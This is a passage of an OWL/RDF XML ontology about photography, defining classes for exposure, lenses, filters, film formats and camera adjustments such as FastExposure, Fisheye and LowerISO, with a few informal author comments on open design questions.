<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ExposureLevel -->
<owl:Class rdf:about="#ExposureLevel">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ExposureParameter -->
<owl:Class rdf:about="#ExposureParameter">
<rdfs:subClassOf rdf:resource="#Parameter"/>
<rdfs:comment
>Parameters that affect the exposure of the image.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#FastExposure -->
<owl:Class rdf:about="#FastExposure">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ShutterSpeed"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasDuration"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;double">0.01</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;float"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#MotionBlur"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#isSuitableFor"/>
<owl:someValuesFrom rdf:resource="#Action"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>A bit of an arbitrary value 1/100.
This should really be relative to the focal length.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#FieldCamera -->
<owl:Class rdf:about="#FieldCamera">
<rdfs:subClassOf rdf:resource="#Camera"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasSensitiveMedia"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#LightSensitiveMedia"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom rdf:resource="#LargeFormat"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFeature"/>
<owl:someValuesFrom rdf:resource="#Movements"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Film -->
<owl:Class rdf:about="#Film">
<rdfs:subClassOf rdf:resource="#LightSensitiveMedia"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Filter -->
<owl:Class rdf:about="#Filter">
<rdfs:subClassOf rdf:resource="#Equipment"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#LensFlare"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#Vignetting"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Fisheye -->
<owl:Class rdf:about="#Fisheye">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Lens"/>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFixedEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">8</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">8</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:unionOf>
</owl:Class>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#FixedAF -->
<owl:Class rdf:about="#FixedAF">
<rdfs:subClassOf rdf:resource="#AutoFocus"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#FixedFocus -->
<owl:Class rdf:about="#FixedFocus">
<rdfs:subClassOf rdf:resource="#FocusMode"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Flash -->
<owl:Class rdf:about="#Flash">
<rdfs:subClassOf rdf:resource="#Light"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#producesLightType"/>
<owl:someValuesFrom rdf:resource="#FlashLight"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#isSuitableFor"/>
<owl:someValuesFrom rdf:resource="#FreezingMovement"/>
</owl:Restriction>
</rdfs:subClassOf>
<owl:disjointWith rdf:resource="#StudioLight"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#FlashLight -->
<owl:Class rdf:about="#FlashLight">
<rdfs:subClassOf rdf:resource="#LightType"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasColourTemperature"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minExclusive rdf:datatype="&xsd;integer">5000</xsd:minExclusive>
<xsd:maxExclusive rdf:datatype="&xsd;integer">6000</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Fluorescent -->
<owl:Class rdf:about="#Fluorescent">
<rdfs:subClassOf rdf:resource="#LightType"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#FocalLength -->
<owl:Class rdf:about="#FocalLength">
<rdfs:subClassOf rdf:resource="#CompositionalParameter"/>
<rdfs:subClassOf rdf:resource="#ExposureParameter"/>
<rdfs:comment
>Not sure what the relation is to the lens focal lengths.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#FocusMode -->
<owl:Class rdf:about="#FocusMode">
<rdfs:subClassOf rdf:resource="#CameraFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Format -->
<owl:Class rdf:about="#Format">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#height"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#width"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#FreezingMovement -->
<owl:Class rdf:about="#FreezingMovement">
<rdfs:subClassOf rdf:resource="#Action"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#GoodBoca -->
<owl:Class rdf:about="#GoodBoca">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Boca"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasShape"/>
<owl:someValuesFrom rdf:resource="#Circle"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#GradFilter -->
<owl:Class rdf:about="#GradFilter">
<rdfs:subClassOf rdf:resource="#Filter"/>
<rdfs:comment
>A grad selectively effects part of an image.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#High -->
<owl:Class rdf:about="#High">
<rdfs:subClassOf rdf:resource="#Level"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#HighContrastSituation -->
<owl:Class rdf:about="#HighContrastSituation">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Conditions"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasParameter"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Contrast"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasLevel"/>
<owl:someValuesFrom rdf:resource="#High"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#requires"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#uses"/>
<owl:someValuesFrom rdf:resource="#Flash"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#requires"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ShutterSpeed"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#IRFilter -->
<owl:Class rdf:about="#IRFilter">
<rdfs:subClassOf rdf:resource="#Filter"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Image -->
<owl:Class rdf:about="#Image">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ImageFeature -->
<owl:Class rdf:about="#ImageFeature">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
<rdfs:comment
>Qualities of the captured image.
None of these features can be controlled directly, but wil be a product of the equipment used and the setup of that equipment,</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#IncreaseShutterSpeed -->
<owl:Class rdf:about="#IncreaseShutterSpeed">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ShutterSpeed"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom rdf:resource="#ShutterSpeed"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#MotionBlur"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#MotionBlur"/>
<rdf:Description rdf:about="#ShutterSpeed"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#MotionBlur"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#InfraRedFilm -->
<owl:Class rdf:about="#InfraRedFilm">
<rdfs:subClassOf rdf:resource="#Film"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Landscape -->
<owl:Class rdf:about="#Landscape">
<rdfs:subClassOf rdf:resource="#PhotographicSubject"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LargeFormat -->
<owl:Class rdf:about="#LargeFormat">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Format"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#height"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minInclusive rdf:datatype="&xsd;integer">127</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#width"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minInclusive rdf:datatype="&xsd;integer">101</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LargeFormatFilm -->
<owl:Class rdf:about="#LargeFormatFilm">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Film"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom rdf:resource="#LargeFormat"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Lens -->
<owl:Class rdf:about="#Lens">
<rdfs:subClassOf rdf:resource="#Equipment"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasAperture"/>
<owl:someValuesFrom rdf:resource="#Aperture"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinimumFocalDistance"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Having a single focal length only works for prime lenses.
We need a min and max for zooms</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LensFlare -->
<owl:Class rdf:about="#LensFlare">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Level -->
<owl:Class rdf:about="#Level">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Light -->
<owl:Class rdf:about="#Light">
<rdfs:subClassOf rdf:resource="#Equipment"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#producesLightType"/>
<owl:someValuesFrom rdf:resource="#LightType"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#LightIntensity"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LightIntensity -->
<owl:Class rdf:about="#LightIntensity">
<rdfs:subClassOf rdf:resource="#ExposureParameter"/>
<rdfs:comment
>The available light. This can always be supplemented.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LightSensitiveMedia -->
<owl:Class rdf:about="#LightSensitiveMedia">
<rdfs:subClassOf rdf:resource="#PhysicalThing"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom rdf:resource="#Format"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasSensitivity"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LightType -->
<owl:Class rdf:about="#LightType">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasColourTemperature"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LithFilm -->
<owl:Class rdf:about="#LithFilm">
<rdfs:subClassOf rdf:resource="#Film"/>
<rdfs:comment
>Very high contrast (black or white, no greyscales)</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LongExposure -->
<owl:Class rdf:about="#LongExposure">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ShutterSpeed"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasDuration"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minInclusive rdf:datatype="&xsd;double">1.0</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;float"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#isSuitableFor"/>
<owl:someValuesFrom rdf:resource="#Night_LowLight"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#MotionBlur"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Exposures longer than a second</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Low -->
<owl:Class rdf:about="#Low">
<rdfs:subClassOf rdf:resource="#Level"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#LowerISO -->
<owl:Class rdf:about="#LowerISO">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#Sensitivity"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Class>
<owl:complementOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="&owl;Thing"/>
</owl:Restriction>
</owl:complementOf>
</owl:Class>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#Noise"/>
<rdf:Description rdf:about="#Sensitivity"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#Noise"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Macro -->
<owl:Class rdf:about="#Macro">
<rdfs:subClassOf rdf:resource="#Lens"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ManualFocus -->
<owl:Class rdf:about="#ManualFocus">
<rdfs:subClassOf rdf:resource="#FocusMode"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Medium -->
<owl:Class rdf:about="#Medium">
<rdfs:subClassOf rdf:resource="#Level"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MediumFormat -->
<owl:Class rdf:about="#MediumFormat">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Format"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#height"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">101</xsd:maxExclusive>
<xsd:minExclusive rdf:datatype="&xsd;integer">36</xsd:minExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#width"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">127</xsd:maxExclusive>
<xsd:minExclusive rdf:datatype="&xsd;integer">24</xsd:minExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MediumFormatFilm -->
<owl:Class rdf:about="#MediumFormatFilm">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Film"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom rdf:resource="#MediumFormat"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MeteringMode -->
<owl:Class rdf:about="#MeteringMode">
<rdfs:subClassOf rdf:resource="#CameraFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MirrorLockup -->
<owl:Class rdf:about="#MirrorLockup">
<rdfs:subClassOf rdf:resource="#CameraFeature"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#CameraShake"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MotionBlur -->
<owl:Class rdf:about="#MotionBlur">
<rdfs:subClassOf rdf:resource="#Blur"/>
<rdfs:comment
>Blur caused by the relative movement of camera and subject.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MotionReducingAdjustment -->
<owl:Class rdf:about="#MotionReducingAdjustment">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#MotionBlur"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#allows"/>
<owl:someValuesFrom rdf:resource="#DecreaseShutterSpeed"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#allows"/>
<owl:someValuesFrom rdf:resource="#UseLongerFocalLength"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MoveCloserToSubject -->
<owl:Class rdf:about="#MoveCloserToSubject">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#DistanceToSubject"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#exagerates"/>
<owl:someValuesFrom rdf:resource="#Perspective"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#DistanceToSubject"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom rdf:resource="#Perspective"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Composition"/>
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#DistanceToSubject"/>
<rdf:Description rdf:about="#Perspective"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MoveFurtherFromSubject -->
<owl:Class rdf:about="#MoveFurtherFromSubject">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#DistanceToSubject"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:allValuesFrom rdf:resource="#Perspective"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#compresses"/>
<owl:someValuesFrom rdf:resource="#Perspective"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Composition"/>
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#DistanceToSubject"/>
<rdf:Description rdf:about="#Perspective"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#DistanceToSubject"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Movements -->
<owl:Class rdf:about="#Movements">
<rdfs:subClassOf rdf:resource="#CameraFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#MultiArea -->
<owl:Class rdf:about="#MultiArea">
<rdfs:subClassOf rdf:resource="#AutoFocus"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#NegativeImage -->
<owl:Class rdf:about="#NegativeImage">
<rdfs:subClassOf rdf:resource="#Image"/>
<owl:disjointWith rdf:resource="#PositiveImage"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#NeutralDensityFilter -->
<owl:Class rdf:about="#NeutralDensityFilter">
<rdfs:subClassOf rdf:resource="#Filter"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#NeutralDensityGrad -->
<owl:Class rdf:about="#NeutralDensityGrad">
<rdfs:subClassOf rdf:resource="#GradFilter"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Night_LowLight -->
<owl:Class rdf:about="#Night_LowLight">
